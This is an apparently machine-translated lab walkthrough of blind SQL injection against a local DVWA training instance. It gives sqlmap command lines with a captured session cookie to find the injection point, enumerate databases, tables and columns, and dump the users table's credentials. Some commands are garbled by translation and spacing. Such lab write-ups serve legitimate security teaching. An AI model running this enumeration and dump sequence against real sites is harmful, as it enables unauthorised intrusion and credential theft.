DVWA Blind <sqlmap Tool injection >

Source: Internet
Author: User

Low Difficulty!!!

Tools Required: DVWA environment, grab kit, Sqlmap

Grab the bag tool with Fiddler as an example.



=====================================



First enter DVWA adjustment mode is low


650) this.width=650; "Src=" https://s5.51cto.com/wyfs02/M02/9B/78/wKioL1ljdW2QI4wjAAFEEB2f-Rc626.png-wh_500x0-wm_ 3-wmp_4-s_2765360438.png "title=" 1.png "alt=" Wkiol1ljdw2qi4wjaafeeb2f-rc626.png-wh_50 "/>







Open the grab kit and make sure you can catch the HTTP traffic packet


650) this.width=650; "Src=" https://s3.51cto.com/wyfs02/M01/9B/78/wKiom1ljdsSDuVETAABGqbRlDBA287.png-wh_500x0-wm_ 3-wmp_4-s_3695612332.png "title=" 2.png "alt=" Wkiom1ljdssduvetaabgqbrldba287.png-wh_50 "/>








DVWA Select the SQL blind, enter a user ID as you wish, then return

You will see the echo, the user ID exists

Copy this page link, save to Notepad, wait for Sqlmap


650) this.width=650; "Src=" https://s5.51cto.com/wyfs02/M00/9B/78/wKioL1ljd8bggmE_AABOQkIRNrE505.png-wh_500x0-wm_ 3-wmp_4-s_2029917706.png "title=" 3.png "alt=" Wkiol1ljd8bggme_aaboqkirnre505.png-wh_50 "/>






Use the grab Bag tool to get the cookie value from the Web packet submitted

Copy the cookie to Notepad, wait for the Sqlmap


650) this.width=650; "Src=" https://s4.51cto.com/wyfs02/M02/9B/78/wKioL1ljeMSzTd4WAADL11O4GCc331.png-wh_500x0-wm_ 3-wmp_4-s_1222110004.png "title=" 4.png "alt=" Wkiol1ljemsztd4waadl11o4gcc331.png-wh_50 "/>





Open Sqlmap, find injection point

Enter the command:


-u Specify URL

--cookie with Cookie injection


python sqlmap.py - u "localhost/dvwa/vulnerabilities/sqli_blind
Id=2&submit=submit"--cookie="phpsessid=jsqauesftt001qeq4jmb1brq95;security=low "


You will be prompted for the default carriage return during the process.



Result: Injection point may be ID, database is MySQL


650) this.width=650; "Src=" https://s4.51cto.com/wyfs02/M01/9B/79/wKiom1lje1Th9VgMAAA1h_hhIlc003.png-wh_500x0-wm_ 3-wmp_4-s_3373338044.png "title=" 5.png "alt=" Wkiom1lje1th9vgmaaa1h_hhilc003.png-wh_50 "/>






Bomb Vault:

--dbs Discover all databases (with spaces before parameters)


Python sqlmap.py-u "localhost/dvwa/vulnerabilities/sqli_blind/?
Id=2&submit=submit "--cookie=" Phpsessid=jsqauesftt001qeq4jmb1brq95;security=low " --dbs



List the databases:

650) this.width=650; "Src=" https://s5.51cto.com/wyfs02/M02/9B/7A/wKiom1ljgqbANl2zAAAVjUDrBBg515.png-wh_500x0-wm_ 3-wmp_4-s_3332133898.png "title=" 6.png "alt=" Wkiom1ljgqbanl2zaaavjudrbbg515.png-wh_50 "/>




--tables List database tables (with spaces before parameters)

-d Select Database


python sqlmap.py-u "localhost/dvwa/vulnerabilities/sqli_blind/?id=2&submit=submit"--cookie= "PHPSESSID= Jsqauesftt001qeq4jmb1brq95;security=low " --tables-d dvwa




To view the database tables that are listed:

650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M02/9B/7A/wKioL1ljhFLiATkpAAAa593Jjgc806.png-wh_500x0-wm_ 3-wmp_4-s_1208909928.png "title=" 7.png "alt=" Wkiol1ljhfliatkpaaaa593jjgc806.png-wh_50 "/>






List all fields of the users table


–columns-t "Users"< list all fields of user table in MySQL database > (columns parameter with spaces)


python sqlmap.py-u "localhost/dvwa/vulnerabilities/sqli_blind/?id=2&submit=submit"--cookie= "PHPSESSID= Jsqauesftt001qeq4jmb1brq95;security=low " --columns-t users


You can see the fields

650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M01/9B/7A/wKiom1ljhgiCXvgKAAAgG1jDZmk462.png-wh_500x0-wm_ 3-wmp_4-s_1191230215.png "title=" 8.png "alt=" Wkiom1ljhgicxvgkaaagg1jdzmk462.png-wh_50 "/>






Save the users table directly to the local


-T users--dump


Python sqlmap.py-u "Localhost/dvwa/vulnerabilities/sqli_blind/?id=2&submit=submit"--cookie= "PHPSESSID= Jsqauesftt001qeq4jmb1brq95;security=low "- t users--dump


650) this.width=650; "Src=" https://s3.51cto.com/wyfs02/M02/9B/7A/wKiom1ljiUHi7ZsGAAAeOKcMurE737.png-wh_500x0-wm_ 3-wmp_4-s_227513226.png "title=" 9.png "alt=" Wkiom1ljiuhi7zsgaaaeokcmure737.png-wh_50 "/>




Open the downloaded file to see the user name, password

650) this.width=650; "Src=" https://s3.51cto.com/wyfs02/M01/9B/7A/wKioL1ljidqxMIKrAAAmxhBrLaQ996.png-wh_500x0-wm_ 3-wmp_4-s_3755158282.png "title=" 10.png "alt=" Wkiol1ljidqxmikraaamxhbrlaq996.png-wh_50 "/>





Final Result:


650) this.width=650; "Src=" https://s2.51cto.com/wyfs02/M02/9B/7B/wKiom1lji7njbkznAADKMpSP_SQ894.png-wh_500x0-wm_ 3-wmp_4-s_3113393289.png "title=" 11.png "alt=" Wkiom1lji7njbkznaadkmpsp_sq894.png-wh_50 "/>









This article is from the "10914757" blog, please be sure to keep this source http://10924757.blog.51cto.com/10914757/1946115

DVWA Blind <sqlmap Tool injection >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.